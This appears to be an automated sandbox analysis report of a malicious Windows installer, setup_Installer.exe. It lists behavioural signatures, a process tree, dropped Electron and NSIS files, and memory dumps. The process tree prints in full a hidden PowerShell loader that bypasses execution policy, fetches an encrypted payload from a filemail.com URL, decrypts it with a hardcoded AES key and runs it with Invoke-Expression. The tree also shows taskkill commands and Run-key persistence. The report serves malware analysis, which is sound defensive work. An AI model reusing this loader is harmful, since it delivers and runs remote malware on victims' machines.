Analysis
- max time kernel
165s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/07/2026, 22:07
General
- Target setup_Installer.exe
- Size 213KB
- Sample260720-116dhsfw6n
- SHA256 1d6d00f871b8f39a58beaf9ea6ba2c46bf6bf380da2e2332218756c00b805814
Malware Config
Extracted
-
ps1
-
exe.dropper
https://1011.filemail.com/api/file/get?filekey=pxaqprFJsOJyaCa_eyA87qi__i2qChifixruWHQUfj7WyMvePzvc8g
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 5 IoCs
- Loads dropped DLL 12 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Kills process with taskkill 2 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_Installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_Installer.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -NoLogo -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$key = 'rthfd47plkLJGxXWr8euR205PBPMN5GtK40H1HHbsg'; $trimmedKey = $key.Substring(0, 32); $aes = New-Object System.Security.Cryptography.AesManaged; $aes.Key = [System.Text.Encoding]::UTF8.GetBytes($trimmedKey); $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $url = 'https://1011.filemail.com/api/file/get?filekey=pxaqprFJsOJyaCa_eyA87qi__i2qChifixruWHQUfj7WyMvePzvc8g'; $encryptedBytes = Invoke-RestMethod -Uri $url -Method Get -OutFile $null -ContentType 'application/octet-stream'; $iv = $encryptedBytes[0..15]; $aes.IV = $iv; $encryptedBytes = $encryptedBytes[16..($encryptedBytes.Length - 1)]; $decryptor = $aes.CreateDecryptor(); $msInput = New-Object System.IO.MemoryStream; $msInput.Write($encryptedBytes, 0, $encryptedBytes.Length); $msInput.Position = 0; $cs = New-Object System.Security.Cryptography.CryptoStream($msInput, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read); $msOutput = New-Object System.IO.MemoryStream; $buffer = New-Object byte[] 4096; while (($read = $cs.Read($buffer, 0, $buffer.Length)) -gt 0) { $msOutput.Write($buffer, 0, $read); }; $decryptedBytes = $msOutput.ToArray(); $res = [System.Text.Encoding]::UTF8.GetString($decryptedBytes); $cs.Close(); $msOutput.Close(); $msInput.Close(); Invoke-Expression $res;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im srv_chk.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im srv_hst.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cd C:\Users\Admin\AppData\Local\Temp\hstchk\chk; .\\srv_chk.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\hstchk\chk\srv_chk.exe"C:\Users\Admin\AppData\Local\Temp\hstchk\chk\srv_chk.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cd C:\Users\Admin\AppData\Local\Temp\hstchk\winexc; .\\winexc.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\hstchk\chk\srv_chk.exeC:\Users\Admin\AppData\Local\Temp\hstchk\chk\srv_chk.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\3F2ikPfwwsSDLPv8IxYeDtw5T5G\srv_chk.exeC:\Users\Admin\AppData\Local\Temp\3F2ikPfwwsSDLPv8IxYeDtw5T5G\srv_chk.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\3F2ikPfwwsSDLPv8IxYeDtw5T5G\srv_chk.exe"C:\Users\Admin\AppData\Local\Temp\3F2ikPfwwsSDLPv8IxYeDtw5T5G\srv_chk.exe" --type=gpu-process --field-trial-handle=1532,16203651914448595150,9264884768743805779,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1540 /prefetch:23⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\3F2ikPfwwsSDLPv8IxYeDtw5T5G\srv_chk.exe"C:\Users\Admin\AppData\Local\Temp\3F2ikPfwwsSDLPv8IxYeDtw5T5G\srv_chk.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,16203651914448595150,9264884768743805779,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1836 /prefetch:83⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_22bwsn4y.1to.ps1
link.write.1.tlog
node-active-win.node
Lib.command.1.tlog
snappy.lastbuildstate
snappy-stubs-public.h
LICENSES.chromium.html
chrome_100_percent.pak
chrome_200_percent.pak
d3dcompiler_47.dll
ffmpeg.dll
icudtl.dat
libEGL.dll
libGLESv2.dll
am.pak
ar.pak
bg.pak
bn.pak
ca.pak
cs.pak
da.pak
de.pak
el.pak
en-GB.pak
en-US.pak
es-419.pak
es.pak
et.pak
fa.pak
fi.pak
fil.pak
fr.pak
gu.pak
he.pak
hi.pak
hr.pak
hu.pak
id.pak
it.pak
ja.pak
kn.pak
ko.pak
lt.pak
lv.pak
ml.pak
mr.pak
ms.pak
nb.pak
nl.pak
pl.pak
pt-BR.pak
pt-PT.pak
ro.pak
ru.pak
sk.pak
sl.pak
sr.pak
sv.pak
sw.pak
ta.pak
te.pak
th.pak
tr.pak
uk.pak
vi.pak
zh-CN.pak
zh-TW.pak
resources.pak
app.asar
snapshot_blob.bin
libEGL.dll
libGLESv2.dll
v8_context_snapshot.bin
vk_swiftshader.dll
vulkan-1.dll
StdUtils.dll
System.dll
nsis7z.dll
LICENSE.electron.txt
elevate.exe
vk_swiftshader_icd.json
memory/5596-10-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-16-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-9-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-7-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-5-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-6-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-11-0x000002656AF20000-0x000002656B0E2000-memory.dmp
memory/5596-12-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-13-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-14-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-15-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-0-0x00007FFD1D88F000-0x00007FFD1D890000-memory.dmp
memory/5596-1-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-8-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-4-0x000002656A7D0000-0x000002656A7F2000-memory.dmp
memory/5596-29-0x000002656AEB0000-0x000002656AEBA000-memory.dmp
memory/5596-18-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-19-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-1248-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-20-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-22-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5596-25-0x000002656AE90000-0x000002656AEAE000-memory.dmp
memory/5596-26-0x000002656DF50000-0x000002656E002000-memory.dmp
memory/5596-27-0x000002656AB30000-0x000002656AB3A000-memory.dmp
memory/5596-28-0x000002656AE90000-0x000002656AEA2000-memory.dmp
memory/5596-248-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp
memory/5748-1834-0x00007FFD3F570000-0x00007FFD3F571000-memory.dmp